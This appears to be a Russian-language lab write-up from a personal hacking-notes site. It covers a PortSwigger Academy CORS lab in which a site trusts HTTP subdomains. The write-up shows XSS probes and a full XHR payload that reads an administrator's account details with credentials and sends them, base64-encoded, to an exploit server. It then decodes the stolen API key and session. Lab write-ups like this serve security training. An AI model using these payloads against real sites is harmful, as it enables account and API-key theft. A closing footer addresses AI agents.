> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/cors/cors-with-trusted-insecure-protocols.md).

# CORS с доверенными небезопасными протоколами

Заметки по CORS с доверенными небезопасными протоколами для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Уязвимость CORS с доверенными небезопасными протоколами

На сайте небезопасная конфигурация CORS: он доверяет всем **поддоменам**, даже при использовании **HTTP**. Цель — получить API-ключ администратора через CORS и передать его на сервер злоумышленника.

Предоставленные учетные данные: `wiener:peter`.На сайте небезопасная конфигурация CORS: он доверяет всем **поддоменам**, даже при использовании **HTTP**. Цель — получить API-ключ администратора через CORS и передать его на сервер злоумышленника.

Предоставленные учетные данные: `wiener:peter`.

#### Наблюдения

* Корневой домен принимается в **HTTP**:

{% code overflow="wrap" %}

```html
Origin: http://0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-03b8f53f1d73d2248aa0817f6ef7b13481bc88b2%2F%7B753528B9-5C90-4408-9586-F6637353734E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Поддомены** в HTTP также принимаются:

{% code overflow="wrap" %}

```
Origin: http://jord4n.0a550036047e216980caa86b00fb0073.web-security-academy.net
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5395fe07b351a15ed3029546ffa55a1bd63fa9ce%2F%7B57F2E23A-5484-40D4-8C5A-8906831F81CD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Поддомен, выявленный через stockcheck:

{% code overflow="wrap" %}

```html
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=1&storeId=1
```

{% endcode %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de94abfb106a7d1b61d5d6bb18aa6678dfd83bed%2F%7B80D49520-3E5E-495C-A92D-68219230C80D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Этот товар отражает `productId` → \*\*Инъекция HTML/JS\*\* возможна:

```html
?productId=test&storeId=1
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-deb1a67546848c7608f36c8b764be42dbf912839%2F%7BED081033-61A4-462A-B337-F4FA02C27E26%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```html
?productId=<h1>hello</h1>&storeId=1
?productId=<script>alert(0)</script>&storeId=1
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d57c6471c947230db0eed8aac3bf51509ee0999f%2F%7BB0C89E2A-DE59-44A0-B3C1-EDADA8CA1EFD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c39961c83547a93fc0bb0c42273093ead3d75e9%2F%7B09CEDAD3-B9FB-430C-AEC1-5E4B705090F5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Эксплуатация: чтение `/accountDetails` и эксфильтрация

Используемый XHR-скрипт (отправлен через поддомен):

```javascript
<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>
```

Вставьте скрипт в `productId` параметр уязвимого поддомена:

```javascript
https://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=<script>
  var req=new XMLHttpRequest();
  req.onload = function(){
     location = 'https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=' %2b btoa(req.responseText);
};
  req.open('GET', 'https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails', true);
  req.withCredentials = true;
  req.send();
</script>&storeId=1
```

Перенаправьте на URL для эксплуатации с `apiKey` переменной, содержащей закодированный ответ.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-922aeb0a58e86760f2acba38180b562cbeea7886%2F%7B1831EA33-51C0-474F-81CA-62F01D01AA52%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Полезная нагрузка, отправленная жертве (URL-кодированная версия)

```javascript
<script>
document.location = 'http://stock.0a550036047e216980caa86b00fb0073.web-security-academy.net/?productId=%3Cscript%3Evar%20req=new%20XMLHttpRequest();req.onload=function(){location=%27https://exploit-0a1d009204a3210b802ca7e301e500cd.exploit-server.net/?apiKey=%27%2bbtoa(req.responseText);};req.open(%27GET%27,%27https://0a550036047e216980caa86b00fb0073.web-security-academy.net/accountDetails%27,true);req.withCredentials=true;req.send();%3C//script%3E&storeId=1';
</script>
```

* Получение API-ключа на сервере для эксплуатации через `apiKey` параметр.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a24ace683c7d5aa2bbd5e412105d9c5e6886543f%2F%7B8A3DE62E-6543-4074-BCEB-34162FD66695%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Декодирование выполнено с помощью:

```bash
echo -n "ewogICJ1c2VybmFtZSI6ICJhZG1pbmlzdHJhdG9yIiwKICAiZW1haWwiOiAiIiwKICAiYXBpa2V5IjogIllUY0ViOFFLb3F1SE90MTJ4bGt1M1ZoYTlFNk0wbDJIIiwKICAic2Vzc2lvbnMiOiBbCiAgICAiZ25yTGM2UDVEb01uQmxyUTczQ3l6SldBUnJzTXJpYlciCiAgXQp9" | base64 -d
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41b05eb06e8c5bd008b05ca7a5cd7bb4fb68ac6e%2F%7BA9A610D7-9469-41E0-917E-99EBFCA3DEB4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/cors/cors-with-trusted-insecure-protocols.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
